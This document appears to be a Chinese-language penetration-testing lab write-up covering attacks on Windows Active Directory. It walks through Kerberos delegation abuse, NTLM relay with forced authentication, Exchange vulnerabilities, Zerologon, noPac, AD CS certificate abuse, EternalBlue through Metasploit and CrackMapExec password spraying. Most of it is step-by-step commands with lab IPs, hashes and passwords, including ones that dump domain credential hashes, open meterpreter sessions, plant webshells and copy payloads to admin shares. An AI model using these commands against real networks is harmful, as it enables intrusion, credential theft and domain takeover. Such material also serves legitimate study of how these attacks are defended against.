判断是否设置约束委派：

查询机器用户（主机）配置约束委派

AdFind -b “DC=god,DC=org” -f “(&(samAccountType=805306369)(msds-allowedtodelegateto=*))” msds-allowedtodelegateto

查询服务账户（主机）配置约束委派

AdFind -b “DC=god,DC=org” -f “(&(samAccountType=805306368)(msds-allowedtodelegateto=*))” msds-allowedtodelegateto

利用思路1：使用机器账户的Hash值 | kekeo

这里的利用思路其实都是一样的，就是工具不一样。。。

1、获取webadmin用户的票据

kekeo "tgt::ask /user:webadmin /domain:god.org /password::admin!@#45 /ticket:administrator.kirbi" "exit"

kekeo "tgt::ask /user:webadmin /domain:god.org /NTLM:518b98ad4178a53695dc997aa02d455c /ticket:administrator.kirbi" "exit"

成功生成了webadmin的票据文件

2.利用用户票据获取域控票据

利用webadmin用户票据请求获取域控票据

就是利用s4u协议申请域管用户访问自身服务的ST服务票据

S4U2self
协议允许服务代表任意用户请求访问自身服务的ST服务票据

shell kekeo “tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/owa2010cn-god.god.org” “exit”

成功执行后生成两个TGS文件（票据授权服务器）

3、导入票据到内存

mimikatz kerberos::ptt [email protected]@[email protected]

在导入之前我们可以先尝试连接一下，看能否访问上。

毋庸置疑是不可以的。

那么接下来我们通过mimikatz来导入票据到内存中去。

4、连接通讯域控

shell dir \owa2010cn-god.god.org\c$

成功通讯，上线的操作就不说了。。。

利用思路2：使用机器账户的Hash值 | getST

这里说一下getST的原因是因为他是在impacket套件里的，可以规避免杀这一烦恼，只需要建立一个socks代理即可。

先获取webadmin用户的密码，直接用cs插件即可，非常方便。

# 使用getST申请服务票据
python getST.py -dc-ip 192.168.3.21 -spn CIFS/OWA2010CN-God.god.org -impersonate administrator god.org/webadmin -hashes :518b98ad4178a53695dc997aa02d455c

生成了如下票据文件：

# 使用票据远程访问
KRB5CCNAME=administrator@[email protected] python wmiexec.py -k god.org/[email protected] -no-pass -dc-ip 192.168.3.21

服了。。。这种要在kali上弄。。。但是步骤没啥问题

这里应该是可以直接用mimikatz导入票据然后进行的，我试试

在导入之前先尝试连接一下

mimikatz kerberos::ptc administrator.ccache

然后尝试连接！

shell dir \owa2010cn-god.god.org\c$

基于资源的约束委派

基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能，与传统的约束委派相比，它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身，既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。

所以核心就是谁或什么权限能修改msDS-AllowedToActOnBehalfOfOtherIdentity，找到能修改机器msDS-AllowedToActOnBehalfOfOtherIdentity这个属性值的权限或者用户。

非约束委派和约束委派都需要设置委派后才可能有安全问题，而这个基于资源的约束委派，设置委派的权限是机器自身的。

DATA机器

msDS-AllowedToActOnBehalfOfOtherIdentity sid值

代表了sid对应的就能委派控制data机器

简单来说，就是攻击者如果能够在data机器上设置msDS-AllowedToActOnBehalfOfOtherIdentity属性为ServiceA，也就允许ServiceA利用s4u2self协议代表其他用户身份来访问data的话，那么我们就可以做到横向移动或者提权的操作了。

资源约束委派利用分类：

1、通过管理主机加入域的用户拿下主机

2、已知Acount Operators组用户拿下主机

3、结合HTLM Relay攻击拿下主机（CVE-2019-1040）

dc 2012

web 2008 webadmin域用户加入到域

sql win7 webadmin域用户加入到域

webadmin用户加入了两台机器=符合RBCD攻击条件

可以这样理解：获得web主机权限后，发现webadmin域用户加入了两台机器，控制一台权限之后，可以尝试修改另一台机器上的msDS-AllowedToActOnBehalfOfOtherIdentity属性。

在此之前，我们做个小实验看看：

我们直接在机器上查询被域用户创建的机器账户列表

此时我们登陆的是dbadmin（域内的用户），发现DATA的和WEB的sid值一致。

接下来我们要退出域重新加域（本地管理员用户才行），做实验

退出域成功了，我们重新加域，换个名字加webadmin

再次查询被域用户创建的机器账户列表，sid就会不同。

总而言之，如果都采用webadmin加入到域，那么查询机器sid 就会一致。这其实就正式基于资源的约束委派的攻击条件

机器加入域的时候，账号可以登录十个机器

1.一个账号对应加一个机器（SID不一致）

2.一个账号对应加多个机器（SID一致）

第二个情况就是符合资源约束委派的攻击条件

测试判断能不能进行RBCD攻击的，查询SID是否一致来判断

利用思路1：利用域用户主机加入

计算机加⼊域时，加⼊域的域⽤户被控后也将导致使用当前域用户加入的计算机受控。

利用条件：

1、允许创建机器账户

2、具有管理主机加入域的用户账户

这里的利用条件其实就是上文说的，有一个域用户同时加入了两台主机。

dc 2012

web 2008 dbadmin域用户加入到域

sql win7 dbadmin域用户加入到域

1.首先需要查询是否有利用条件：

查询被域用户创建的机器账户列表（可以理解为看域用户加入了哪些计算机）

shell AdFind.exe -b “DC=xiaodi,DC=local” -f “(&(samAccountType=805306369))” cn mS-DS-CreatorSID

根据查询出来的sid找出对应的用户名：

shell AdFind.exe -b “DC=xiaodi,DC=local” -f “(&(objectsid=S-1-5-21-1695257952-3088263962-2055235443-1104))” objectclass cn dn

刚好，这个dbadmin是被我们控制的

那么我们就可以尝试攻击DATA主机

2、开始利用新增机器账户

添加一个机器账户，用于申请票据

这里推荐用powershell，第一种第二种需要输入账号密码，还是明文，如果我们获取hash，那就用不了。系统大于2012我们得不到明文，那就白给了。。

# 使用addcpmputer创建机器账户
python addcomputer.py xiaodi8.com/web2016:Xiaodi12345 -method LDAPS -computer-name test01\$ -computer-pass Passw0rd -dc-ip 192.168.139.11

# 使用bloodyAD工具创建机器账户
python bloodyAD.py -d redteam.lab -u web2016 -p 'Xiaodi12345' --host 192.168.139.11 addComputer test01 'Passw0rd'

# 使用PowerMad工具创建机器账户
powershell Set-ExecutionPolicy Bypass -Scope Process

#导入模块；新建机器账号名字叫serviceA，密码为123456
powershell Import-Module .\Powermad.ps1;New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

我们使用powershell的这种，这里需要上传文件！

同时我们也上传一个这个，后续会用到

然后我们看DC，确实多了一个机器账户

3、利用新增机器账户修改委派属性满足申请访问目标票款

修改目标主机的资源委派属性（data）

获取新增账户的objectsid

powershell Import-Module .\PowerView.ps1;Get-NetComputer serviceA -Properties objectsid

S-1-5-21-1695257952-3088263962-2055235443-1604

修改data主机委派属性：

将data的msds-allowedtoactonbehalfofotheridentity属性值修改成S-1-5-21-1695257952-3088263962-2055235443-1604

S-1-5-21-1695257952-3088263962-2055235443-1604对应serviceA机器

data -> serviceA

powershell import-module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList “O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257952-3088263962-2055235443-1604)”;$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer data| Set-DomainObject -Set @{‘msds-allowedtoactonbehalfofotheridentity’=$SDBytes} -Verbose

上述命令其实就是将data主机的委派属性改成serviceA机器账户的sid值 serviceA 123456

那么命令执行后serviceA就能资源委派控制data，然后我们用serviceA上的票据去模拟访问data，就能拿到data的权限

以上操作是通过新建的serviceA来攻击DATA，那么为什么不直接用Web来攻击呢？？因为后面的攻击需要明文的账号密码，serviceA是我们自己创建的，是可控的，而Web的明文密码我们不一定知道

验证和清除委派属性：

powershell import-module .\powerview.ps1;Get-DomainComputer data -Properties msds-allowedtoactonbehalfofotheridentity

powershell import-module .\powerview.ps1;Set-DomainObject data -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

4、利用修改后的属性申请目标请求票据后导入利用

利用serviceA申请访问data主机cifs服务票据：

python getST.py -dc-ip 192.168.3.33 xiaodi.local/serviceA\$:123456 -spn cifs/data.xiaodi.local -impersonate administrator

data信任serviceA的资源委派。因为我们之前改了sid值，那么serviceA就可以去委派data了。

由于是python脚本，我们建立socks代理

成功生成了票据文件。其实就是serviceA访问data生成的票据

导入票据到内存：

mimikatz kerberos::ptc administrator@[email protected]

我们先事先dir一下看看

然后导入票据到内存

连接利用票据：

shell dir \data.xiaodi.local\c$

后面就是一样的操作了。

利用思路2：Acount Operators组

首先说明一下环境，这里的环境跟上面不同了。

dc 2012

web dbadmin域用户加入到域

sql win7 webadmin域用户加入到域

利用思路：

Acount Operators组成员可修改域内任意主机的msDS-AllowedToActOnBehalfOfOtherIdentity属性。(除DC)

环境配好了，接下来开始实验吧。

shell AdFind.exe -b “DC=xiaodi,DC=local” -f “(&(samAccountType=805306369))” cn mS-DS-CreatorSID

发现sid值不一致，那么利用思路1就不可行了！

但是！被控用户属于Account Operators组，不需要sid一致也可以进行rbcd攻击

查询Acount Operators组成员：
shell adfind.exe -h 192.168.3.33:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=xiaodi,DC=local member

出现这种情况，说明没有属于Account Operators组的，攻击条件不成立，接下来我们添加一下Account Operators组成员

然后我们再查询一下

发现webadmin属于Account Operators组成员！那么我们就可以进行后续的rbcd攻击

#查询sid对应的用户名
shell AdFind.exe -b "DC=xiaodi,DC=local" -f "(&(objectsid=S-1-5-21-1695257952-3088263962-2055235443-1602))" objectclass cn dn

接下来就是跟利用思路1一致了。

# 使用PowerMad工具创建机器账户
powershell Set-ExecutionPolicy Bypass -Scope Process

#导入模块；新建机器账号名字叫serviceB，密码为123456
powershell Import-Module .\Powermad.ps1;New-MachineAccount -MachineAccount serviceB -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

发现成功添加

然后获取新增账户的objectsid

powershell Import-Module .\PowerView.ps1;Get-NetComputer serviceB -Properties objectsid

S-1-5-21-1695257952-3088263962-2055235443-1605

将data主机的委派属性改成serviceB机器账户的sid值，实现serviceB能资源委派控制data主机

powershell import-module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList “O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257952-3088263962-2055235443-1605)”;$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer data| Set-DomainObject -Set @{‘msds-allowedtoactonbehalfofotheridentity’=$SDBytes} -Verbose

利用修改后的属性申请目标请求票据后导入利用

利用serviceB申请访问data主机cifs服务票据：

python getST.py -dc-ip 192.168.3.33 xiaodi.local/serviceB\$:123456 -spn cifs/data.xiaodi.local -impersonate administrator

data信任serviceB的资源委派。因为我们之前改了sid值，那么serviceB就可以去委派data了。

然后我们导入票据到内存，利用即可。

导入之前我们先尝试访问一下

shell dir \data.xiaodi.local\c$

mimikatz kerberos::ptc administrator@[email protected]

然后我们再访问一下

拿下！

利用思路3：CVE结合NTLMRelay

如果被控用户加入多台主机、被控用户在Acount Operators组，两个条件都不成立，那就用这种了。

利用思路：

绕过NTLM MIC校验+打印机漏洞+NTLM Relay+基于资源的约束性委派组合攻击

利用条件：

1、能创建机器账户

2、目标开启打印机服务

利用过程：

1、监听：

使用ntlmrelayx工具（后续讲到中继重放攻击等）

这里讲一下我们的环境，以下命令是在kali上执行的，直接在kali上放了个3网段的网卡，不然正常情况下需要代理转发。有点麻烦，这里只是浅尝辄止一下。

responder -I eth1 -wd

命令执行后开始监听eth1这张网卡上的数据

2、利用打印机漏洞（CVE-2019-1040）让目标3.33强制访问3.143

下载：
https://github.com/dirkjanm/krbrelayx

python printerbug.py xiaodi.local/webadmin:admin!@#[email protected] 192.168.3.143
#此处的webadmin账号密码输不输取决于操作系统版本，2016以下不用，反之则要。
#这串代码的作用其实就是让3.33去访问3.143

NTLM中继攻击

https://mp.weixin.qq.com/s/O-hYgpryXPJ-fCh8Nqggww

NTLM Relay其实严格意义上并不能叫NTLM Relay，而是应该叫Net-NTLM Relay。它是发生在NTLM认证的第三步，在Type3 Response消息中存在Net-NTLM Hash，当攻击者获得了Net-NTLM Hash后，可以进行中间人攻击，重放Net-NTLM Hash，这种攻击手法也就是大家所说的NTLM Relay（NTLM中继）攻击。NTLM Relay Attack（NTLM中继攻击）指的是强制目标服务器、目标用户使用LM Hash、NTLM Hash对攻击者的服务器进行认证，攻击者将该认证中继至其它目标服务器中（域控等），根据目标域的防护等级可以在活动目录域中进行横向移动或权限提升。

第一步是捕获Net-NTLM Hash

第二步是重放Net-NTLM Hash

第二步是爆破Net-NTLM Hash

捕获

https://github.com/SpiderLabs/Responder

https://github.com/Kevin-Robertson/Inveigh

#开启对eth1网卡的监听
responder -I eth1

然后用3.32主机去主动访问攻击机演示一下。一般用社工钓鱼的方法！

这里我们直接给kali一个3网段，也就是192.168.3.143，不然的话还要代理啥的，这里只是演示一下。

net use \\192.168.3.143
会用自带的账号密码去匹对

然后responder就会监听到3.32主机的账号密码。

重放

利用：smbrelayx.py（ntlmrelayx.py）

python smbrelayx.py -h 192.168.3.32 -c whoami

执行后，192.168.3.31去执行

net use \192.168.3.143

执行完毕后py处会出现响应，给出hash值，同时执行了whoami命令并回显。

192.168.3.31去将自己的账号密码去比对192.168.3.143
192.168.3.143做了一个中继重放192.168.3.32 并执行whoami
192.168.3.31和192.168.3.32机器密码一致比对成功！
此时如果密码不一致，会重放失败，可以暴力破解从而进行后续的渗透。

截取到的是192.168.3.31也就是web主机的账号密码，爆破出来的就是web主机的。

hashcat -m 5600 hash.txt pass.txt

windows认证过程：

先用本机的用户密码去认证成功就不需要验证

不对输入。

以下是web主机和sql主机都用administrator登录，密码都为admin!@#45的场景。

以下是web主机用webadmin用户登录，sql主机用administrator用户登陆的场景。

这种方法适用于你拿到了web主机，但是不知道账号密码，如果sql主机登录的账号密码和web主机拿到的权限的账号一样且密码一样的情况下，你不需要知道密码就能横向移动拿下sql主机权限。

shell copy c:\shell.exe \192.168.3.32\c$

如何抓到数据：

目录主机要访问监听主机

这时就要用到钓鱼的方法（被动）：打开文件执行什么命令访问网站等

同时我们也有强制的方法！
（主动）：这时我们可以联想到非约束委派中的利用思路2：结合打印机漏洞。我们主动让对面访问我们的监听主机。

利用打印机漏洞（printerbug.py）
利用PetitPotam漏洞（PetitPotam.py）
https://github.com/topotam/PetitPotam

https://github.com/dirkjanm/krbrelayx

自动化项目：
https://github.com/p0dalirius/Coercer

直接使用自动化项目：

python Coercer.py scan -t 192.168.3.21 -u webadmin -p 'admin!@#45' -d god.org
#判断域控上是否有这种漏洞

python Coercer.py coerce -l 192.168.3.143 -t 192.168.3.33 -u webadmin -p 'admin!@#45' -d xiaodi.local -always-continue
#强制触发，让3.33访问3.143

同时3.143开启监听

responder -I eth1

使用krbrelayx项目：

kali上先使用smbrelayx.py脚本进行监听转发：

3.143执行重放利用中继到3.22执行

python smbrelayx.py -h 192.168.3.22 -c whoami

然后强制访问

printerbug.py（>=2012）

python printerbug.py xiaodi.local/administrator:[email protected] 192.168.3.143
python printerbug.py ./administrator:admin!@#[email protected] 192.168.3.143

用域用户administrator强制让3.33访问3.143
python PetitPotam.py -d xiaodi.local -u administrator -p Xiaodi12345 192.168.3.33 192.168.3.143
用本地用户administrator强制让3.33访问3.143
python PetitPotam.py -d . -u administrator -p 'admin!@#45' 192.168.3.33 192.168.3.143

做到这里，我们可能会有一些疑问。既然此处需要给出账号密码，那么我们用最开始的wmi、ipc等横向移动它不香吗？？

这里没有权限的限制，甚至不需要上线cs！多了一种手法！！！！

抓到的数据：

拿来重放攻击其他主机

重放失败则拿来暴力破解明文！

Exchange服务

Exchange Server是微软公司的一套电子邮件服务组件，是个消息与协作系统。内网中，拿下邮件系统会对接下来的目标寻找起到关键作用。目前exchange有Exchange Server2010、2013、2016以及2019等多个版本。

信息收集，服务发现：

在最初，我们需要进行信息收集，通过端口扫描、SPN探测等手法发现Exchange服务。

1.端口扫描

exchange会对外暴露接口如OWA，ECP等，会暴露在80端口，而且25/587/2525等端口上会有SMTP服务，所以可以通过一些端口特征来定位Exchange

2.SPN扫描

powershell setspn -T 0day.org -q /

3.脚本探针

python Exchange_GetVersion_MatchVul.py 192.168.3.142

成功探测到以后，我们要建立一下socks代理，让本机能够访问到3.142。

我们用谷歌啥的不可以，试了下火狐渗透版，高级选项里添加一个例外即可成功。

接下来想要知道Exchange版本可以用上面脚本探针的方法，也可以查看源代码！！

https://learn.microsoft.com/zh-cn/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019

本身的漏洞

攻击者寻找并利用Exchange服务器中存在的漏洞。这些漏洞可能是操作系统、Exchange软件或其他组件的安全漏洞。

钓鱼攻击

攻击者使用欺骗性手段来诱使用户提供其Exchange凭据或敏感信息。他们可能发送伪造成合法邮件或网站的钓鱼电子邮件，诱使用户点击恶意链接或下载附件。

暴力破解

攻击者使用暴力破解工具来尝试破解用户的密码。他们可能使用常见密码列表、字典文件或使用强大的计算资源进行暴力攻击。一旦成功破解密码，攻击者可以获得合法访问Exchange服务器的权限。

无凭据

1.暴力破解

这里我们用bp浏览器抓到一个登陆包

2.漏洞利用

在没有凭据的情况下，攻击者可能会尝试利用Proxylogon、Proxyshell等攻击链对Exchange实施攻击，如果攻击成功，能够拿到Exchange的system权限。

https://github.com/horizon3ai/proxyshell

CVE-2021-34473 Microsoft Exchange ACL绕过漏洞

CVE-2021-34523 Microsoft Exchange权限提升漏洞

CVE-2021-31207 Microsoft Exchange授权任意文件写入漏洞。

打新版本的，旧版本打不了。。我本地没有环境，就不演示了，反正都是一个道理，下面有写。

有凭据

1.漏洞利用

确定内核版本-筛选Server版本-确定漏洞对应关系-选择漏洞

https://www.cnblogs.com/xiaozi/p/14481595.html

https://forum.butian.net/index.php/share/1837

根据我们之前获取的版本，Exchange Server 2010 SP3

CVE-2020-17144

https://github.com/Airboi/CVE-2020-17144-EXP
https://github.com/zcgonvh/CVE-2020-17144

这里说到需要一个普通账号，那就是账号密码嘛，我们通过cs提权system才能用mimikatz抓取hash

接下来hashcat即可。

说实话直接抓取明文密码也可以的！

得到账号jack，密码admin!@#45

接下来关注的是exp了

data其实就是webshell的内容，我们随便改一下就行。

看看exe的用法

后面接上域名和username和password

出现了一些问题。。可能是域名的问题，本地hosts没有设置！

后来我用ip试了一下，发现可以！

然后我们手动重启一下Exchange服务器。

确实多出了这个Services.aspx

这就可以实现写后门从而获得webshell权限啦！

CVE-2020-0688

利用条件：Exchange Server 2010 SP3/2013/2016/2019，普通账号。

这里要我们自行执行一下ysoserial.exe那条命令，将结果input

但是，可悲的事情发生了

没有出现calc的进程？小迪表示这个版本不存在漏洞。。

但是这里我们可以用给的另一个rootkit.org域环境来进行实验，exchange2013版本的。

2.钓鱼攻击

-利用附件（免杀后门）发给域内其他用户

-利用网站配合监听实现获取ntlm hash(票据)

域控系统提权-漏洞利用

CVE-2020-1472

CVE-2020-1472是一个windows域控中最严重的远程权限提升漏洞，攻击者通过NetLogon，建立与域控间易受攻击的安全通道时，可利用此漏洞获取域管访问权限

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2012

Windows Server 2012 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 R2 (Server Core installation)

Windows Server 2016

Windows Server 2016 (Server Core installation)

Windows Server 2019

Windows Server 2019 (Server Core installation)

Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

Windows Server, version 2004 (Server Core installation)

利用条件：只需要一个域内机器的权限即可。一般就是web主机，或者我们通过钓鱼手法获取的权限，同时不需要账号密码，只要有权限就可以。（不管是普通用户权限还是管理员权限）

利用如下：

1.首先要获取域控的计算机名：

net group "domain controllers" /domain
net time /domain

2.Socks代理后：

修改hosts绑定域名和ip

3.连接DC，清空凭证

https://github.com/dirkjanm/CVE-2020-1472

python cve-2020-1472-exploit.py OWA2010CN-God 192.168.3.21

4.获取域内HASH

这里使用的是impacket的套件，通过-no-pass导出域内hash，这里可能有个疑问，既然是清空凭证了，为什么不能直接无密码登录。。这里的wmiexec.py就是要密码的，不知道该咋说。。

python secretsdump.py “god.org/[email protected]” -no-pass

出现了一大堆。所有dc上保存的用户的hash值。

5.连接域控PTH，通过wmi进行hash传递

python wmiexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administra
[email protected]

直接拿下了dc权限！

6、后续恢复密码：

为了防止脱域，通过将SAM系统等文件导出到本地，以获取此前在域控制机器上保存的hash值，然后用于进行系统的恢复操作。

https://github.com/risksense/zerologon

https://github.com/SecureAuthCorp/impacket

python wmiexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administra
[email protected]

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

lget system.save
lget sam.save
lget security.save

del /f system.save
del /f sam.save
del /f security.save

通过导出sam.save、security.save和system.save等文件，获取域控制机器上保存的NTLM Hash值，并将其用于密码恢复操作。

破解sam文件查看过去的机器密码

python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

接下来重制密码域控的机器密码

python reinstall_original_pw.py OWA2010CN-God$ 192.168.3.21 4a70cc01733be14c813e5f7a06d5a7fa

接下来查看一下密码是否恢复成功了：（下面四种方法都是可以的，上面两种是用原来的密码来试，成功就行；下面两种是用空密码来试，不成功就行）

python secretsdump.py god/administrator:[email protected] -just-dc-user OWA2010CN-God$
python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7 god/[email protected] -just-dc-user OWA2010CN-God$
python secretsdump.py god/[email protected] -just-dc -no-pass
python secretsdump.py god/[email protected] -no-pass

成功恢复啦！

CVE-2021-42287

CVE-2021-42278，机器账户的名字一般来说应该以$结尾，但AD没有对域内机器账户名做验证。CVE-2021-42287，与上述漏洞配合使用，创建与DC机器账户名字相同的机器账户（不以$结尾），账户请求一个TGT后，更名账户，然后通过S4U2self申请TGS Ticket，接着DC在TGS_REP阶段，这个账户不存在的时候，DC会使用自己的密钥加密TGS Ticket，提供一个属于该账户的PAC，然后我们就得到了一个高权限ST。

前提条件：一个域内普通账号（此处是需要账号和明文密码的）

影响版本：Windows基本全系列

工具如下：

noPac-python版本

https://github.com/Ridter/noPac

首先扫描，查看是否存在该漏洞。

python scanner.py -use-ldap “god.org/webadmin:admin!@#45” -dc-ip 192.168.3.21

既然需要明文密码，我们首先需要获得的是明文密码，那么前提就是提权，获取system权限。然后用mimikatz抓明文密码。

发现Got TGT，成功了可以进行漏洞利用。

python noPac.py -use-ldap “god.org/webadmin:admin!@#45” -dc-ip 192.168.3.21 -shell

直接反弹了一个cmd。

python noPac.py -use-ldap “god.org/webadmin:admin!@#45” -dc-ip 192.168.3.21 -dump

以上命令可以导出票据文件和域中存储的hash值密码。（所有用户都有！）

CVE-2022-26923（ADCS攻击）

这里先浅尝辄止，ADCS是挺复杂的，这里只说一种。

Active Directory 证书服务 (AD CS) 提供公钥基础结构 (PKI) 功能，该功能支持 Windows 域上的身份和其他安全功能（即文件加密、电子邮件加密和网络流量加密）。它可以为组织的内部使用创建、验证和撤销公钥证书。

根据 Microsoft 的说法，AD CS 是一个服务器角色，它允许构建公钥基础结构 (PKI) 并为组织提供公钥加密、数字证书和数字签名功能”。

AD CS Windows Server 角色是实施 PKI 解决方案。

AD CS 提供所有与 PKI 相关的组件作为角色服务。每个角色服务负责证书基础架构的特定部分，同时协同工作以形成完整的解决方案。

证书中包含的信息将一个主题身份与一个公共/私人密钥对结合起来。之后应用程序在操作时使用该密钥对作为该用户的身份证明。

证书申请流程大致过程：

1.客户端产生密钥对

2.客户端发送证书请求(CSR)给企业CA服务器

3.CA检查CSR中的内容，判断是否许可获得证书

4.CA通过许可，下发使用CA私钥签名的证书

https://xz.aliyun.com/news/17230

https://blog.noah.360.net/active-directory-certificate-services-attack-and-exploit/

当Windows系统的Active Directory证书服务（CS）在域上运行时，由于机器账号中的dNSHostName属性不具有唯一性，域中普通用户可以将其更改为高权限的域控机器账号属性，然后从Active Directory证书服务中获取域控机器账户的证书，导致域中普通用户权限提升为域管理员权限。

影响：Win8.1、Win10、Win11、WinServer2012R2、WinServer2016、WinServer2019、WinServer2022等版本

前提条件：

1、一个域内普通账号（此处是需要账号和明文密码的）

2、域内存在证书服务器

这里先来看看什么是证书服务器，先看我们的god.org，证书服务是没有安装的！那么就不存在该利用条件。

因此我们这里要用另外的域环境xiaodi.lab

dc的密码为admin!@#45

web的密码为Pass123

我们上dc看看是否存在证书服务器。

工具如下：
https://github.com/ly4k/Certipy

首先在cs中获取CA结构名和计算机名

shell certutil

ping一下计算机名我们就可以知道dc的ip：192.168.3.111

这里提权我用插件提不上去，算了就当知道密码吧，用脚本提权感觉挺麻烦的，算了。

我们往hosts文件中加三条

然后建立一个socks节点。

上面我有windows发现实验失败，一直连接不上，不知道为什么，我改用kali就可以了。

首先开始漏洞利用：

1.这里我们先进行漏洞的探测查看存在漏洞的模板

proxychains4 certipy-ad find -u [email protected] -p Pass123 -dc-ip 192.168.3.111 -vulnerable

2.申请低权限用户证书：

proxychains4 certipy-ad req -u [email protected] -p Pass123 -dc-ip 192.168.3.111 -ca xiaodi-DC-CA -template User -debug

该命令使用
Certipy-AD
请求活动目录证书服务（AD CS）的用户证书，并输出详细的调试信息。

这样就生成了一个用户证书

3.检测证书

proxychains4 certipy-ad auth -pfx test.pfx -dc-ip 192.168.3.111

得到了一个hash值，那么就没问题了！

4、创建一个机器账户：

这里其实就是通过普通的域用户来创建域机器用户，kali的impacket-addcomputer也创建

proxychains4 python3 bloodyAD.py -d xiaodi.lab -u test -p ‘Pass123’ –host 192.168.3.111 addComputer pwnmachine ‘meteorkai’

在创建之前，我们先看看dc上存在哪些用户

只存在一个web用户，接下来我们创建一个机器用户。

成功添加一个机器用户。

5、设置机器账户属性(dNSHostName和DC一致)：

proxychains4 python3 bloodyAD.py -d xiaodi.lab -u test -p ‘Pass123’ –host 192.168.3.111 setAttribute ‘CN=pwnmachine,CN=Computers,DC=xiaodi,DC=lab’ dNSHostName ‘[“dc.xiaodi.lab”]’

proxychains4 python3 bloodyAD.py -d xiaodi.lab -u test -p ‘Pass123’ –host 192.168.3.111 getObjectAttributes ‘CN=pwnmachine,CN=Computers,DC=xiaodi,DC=lab’ DNSHOSTName

6、再次申请证书：

proxychains4 certipy-ad req -username ‘[email protected]’ -password ‘meteorkai’ -ca xiaodi-DC-CA -template Machine -debug

7、检测证书：

proxychains4 certipy-ad auth -pfx dc.pfx -dc-ip 192.168.3.111

生成了域控dc的证书
再使用证书进行验证获取ntlm

aad3b435b51404eeaad3b435b51404ee:a6f52335a19440b7faf3117242fec9a5

8、导出HASH：

proxychains4 python3 secretsdump.py ‘xiaodi.lab/[email protected]’ -hashes :a6f52335a19440b7faf3117242fec9a5

到此拿到了域控机器账户的ntlm，接下来就可以使用域控机器账户的ntlm做其他的操作了。

但是这里我导出不了。。不知道为啥。。。改天再复现吧，道理是一样的。

proxychains4 python3 secretsdump.py -hashes :a6f52335a19440b7faf3117242fec9a5 ‘xiaodi.lab/[email protected]’ -no-pass -just-dc

复现成功！

这里当时卡了挺久的！问了AI才发现问题！

接下来我们对hash进行利用即可！

Administrator:500:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
proxychains4 python3 wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c xiaodi.lab/[email protected] “whoami”

直接拿下！

其它漏洞

还有好多。。

MS14-068，MS17-010，PrintNightmare，Exchange系列……

接下来实践一下msf联动cs实现永恒之蓝。就是将cs上线转到msf来利用永恒之蓝漏洞，因为exp只有msf有，cs是检测插件。

实战中，我们的kali肯定是没有内网网段的，那么就需要跳板机上线到msf，取得路由后，去攻击目标。

首先在cs中新增一个监听器：相当于反弹到kali（攻击机）的8888端口

msf相关设置：

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lport 8888
set lhost 0.0.0.0
run

然后在cs上在想要转shell的目标上执行spawn msf命令。

成功了。

接着看看路由：

run autoroute -p //查看当前路由表
run post/multi/manage/autoroute //添加当前路由表

然后开始漏洞利用：

注意这里要选择正向上线，让msf去连接他，而不是他们来连接我（攻击机）。因为这个权限是cs给我们的，如果我们就在cs上进行漏洞利用，可以在cs建立转发上线的监听器，这样是可以利用反向上线的，而这里的msf是不可以的！

background
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.3.25
set lport 7799
run

设置完毕后，我们打它，如果成功，那么就会在目标机上开启7799端口，然后我们攻击机去连接它就行。

拿下了。

CrackMapExec-密码喷射

手工去横向移动

目标太多
密码太多
帐号太多
协议太多
https://github.com/byt3bl33d3r/CrackMapExec

1、Linux Proxychains使用

代理配置：Proxychains.conf

代理调用：Proxychains 命令

2、密码喷射-域用户登录PTH：

主要参数：-u用户，-p密码，-H哈希值，-d指定域，-x执行命令

主要功能：多协议探针，字典设置，本地及域喷射，命令回显执行等

首先需要建立socks节点和proxychains，因为工具是在本地使用的。我们拿kali来吧，windows的cme不会用。。。

cs开一个socks4a节点

然后改一下/etc/proxychains4.conf文件

然后我们发现加上proxychains就能正常访问3网段

接下来我们看看crackmapexec的–help，使用说明

先获取一下user.txt吧

然后就可以用crackmapexec了

proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -p admin!@#45
proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c

proxychains4 crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45'
#默认会尝试域内administrator

proxychains4 crackmapexec smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ –local-auth

proxychains4 crackmapexec smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ –local-auth -x “whoami”

那么我们把执行的命令改为上线命令，那就拿捏了哦！这里我把jack-pc等都开起来了！这里的5555.exe使用cs中的转发上线，利用已攻陷的机器作为代理

